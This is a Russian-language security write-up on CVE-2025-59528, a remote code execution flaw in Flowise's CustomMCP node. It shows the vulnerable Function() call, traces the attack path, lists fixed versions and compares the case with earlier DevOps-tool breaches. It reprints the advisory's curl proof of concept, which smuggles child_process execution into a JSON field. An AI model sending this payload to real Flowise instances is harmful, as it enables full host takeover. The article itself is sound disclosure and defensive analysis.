Что случилось
CVE-2025-59528 - удалённое выполнение кода в Flowise, low-code билдере для AI-агентов с 51.9K звёзд на GitHub. Классификация: CWE-94 (Code Injection). Официальный advisory: GHSA-3gcm-f6qx-ff7p.
Баг находится в CustomMCP - ноде, которая подключает произвольные MCP-сервисы к агенту. Вот уязвимая функция:
// CustomMCP.ts, строки 262-268
function convertToValidJSONString(inputString: string) {
try {
const jsObject = Function('return ' + inputString)()
return JSON.stringify(jsObject, null, 2)
} catch (error) {
console.error('Error converting to JSON:', error)
return ''
}
}mcpServerConfig приходит от пользователя, проходит через substituteVariablesInString() без какой-либо фильтрации и попадает в Function(). Результат - выполнение произвольного JS с доступом к process.mainModule.require("child_process") и полным контролем над хостом.
PoC из официального advisory:
curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <API_TOKEN>" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"id\");return 1;})()})"
}
}'Один POST-запрос. Если инстанс доступен из сети и токен не авторизован (а по умолчанию авторизации нет) - игра окончена.
Уязвимый путь: 6 шагов от API-эндпоинта до code execution.
| Шаг | Файл | Действие |
|---|---|---|
| 1 | routes/node-load-methods/index.ts |
Роут /api/v1/node-load-method/customMCP |
| 2 | controllers/nodes/index.ts |
Контроллер передаёт запрос в сервис |
| 3 | services/nodes/index.ts |
Сервис вызывает CustomMCP handler |
| 4 | CustomMCP.ts:132 |
getTools() читает mcpServerConfig |
| 5 | CustomMCP.ts:220 |
Подстановка переменных, без фильтрации |
| 6 | CustomMCP.ts:262 |
Function('return ' + input)() - RCE |
Для эксплуатации нужен API-токен Flowise и сетевой доступ к инстансу. Default порт - 3000, без авторизации на многих публичных инстансах.
Уязвимы версии до 3.0.5. Фикс в 3.0.6. Версия 3.1.0 добавила комплексное усиление безопасности: sandbox для выполнения кода, HTTP deny list, защита от path traversal.
Tool plane = attack plane
Когда я писал про безопасность AI-агентов, главным риском был prompt injection. Теперь добавился второй вектор: уязвимости не в модели, а в инфраструктуре вокруг неё.
MCP-ноды в Flowise крутятся рядом с инструментами, файлами, внешними API и секретами. Агентный loop пробрасывает tool calls через этот слой без ограничений. Любая ошибка в интеграционной обвязке мгновенно даёт права уровня хоста.
Масштаб проблемы
Flowise - один из самых популярных инструментов в категории AI-агентов:
- 51.9K звёзд на GitHub
- 24.1K форков
- 30 зарегистрированных security advisory в репозитории (март 2025 - март 2026)
- Тысячи инстансов с открытым доступом к API в интернете (точное количество неизвестно)
PoC публично доступен в GitHub Advisory, что делает эксплуатацию тривиальной. На таком объёме установок даже малый процент доступных из сети инстансов - потенциальная база для mass scanning.
Кейс шумный именно потому, что Flowise - popular low-code билдер. Баг попал в production-путь, периметр огромный. Больше агентов - меньше контроля, и этот кейс подтверждает: один из первых интернет-масштабных инцидентов вокруг платформ для AI-агентов.
Что делать прямо сейчас
Рынок повторяет путь DevOps
Знакомая картина. Сначала все делают ставку на удобство и скорость. Потом control plane выставляется наружу. А потом выясняется, что интеграционный слой имеет слишком много привилегий.
Jenkins, 2016-2019. Плагины с десериализацией, публичные API без авторизации. CVE-2018-1000861 - удалённая доставка кода через Stapler framework. Десятки тысяч серверов. Эпидемия криптомайнеров.
Kubernetes Dashboard, 2018. CVE-2018-18264 - dashboard по умолчанию давал admin-доступ к кластеру без авторизации. Tesla, Aviva и тысячи других словили криптомайнеров через открытый порт 8001.
SolarWinds, 2020. Supply chain - заражённая сборка update-пакета. Не code injection, но та же суть: интеграционный слой с высоким уровнем доверия стал вектором.
Теперь очередь AI-агентов. Flowise - ранний симптом, не исключение. Jarvis Pattern показывает, что агент - это операционная система, а не просто модель. Каждый популярный агентский фреймворк с плагинами, MCP-адаптерами и динамической конфигурацией несёт аналогичные риски. Вопрос не "сломают ли", а "когда найдут следующий баг".
Этот кейс не доказывает, что LLM сама всех ломает. Он показывает: инфраструктура агентов уже тащит за собой старые appsec-баги. Только теперь blast radius больше, потому что агент имеет доступ ко всему сразу - от серверов до данных клиентов.
Источники: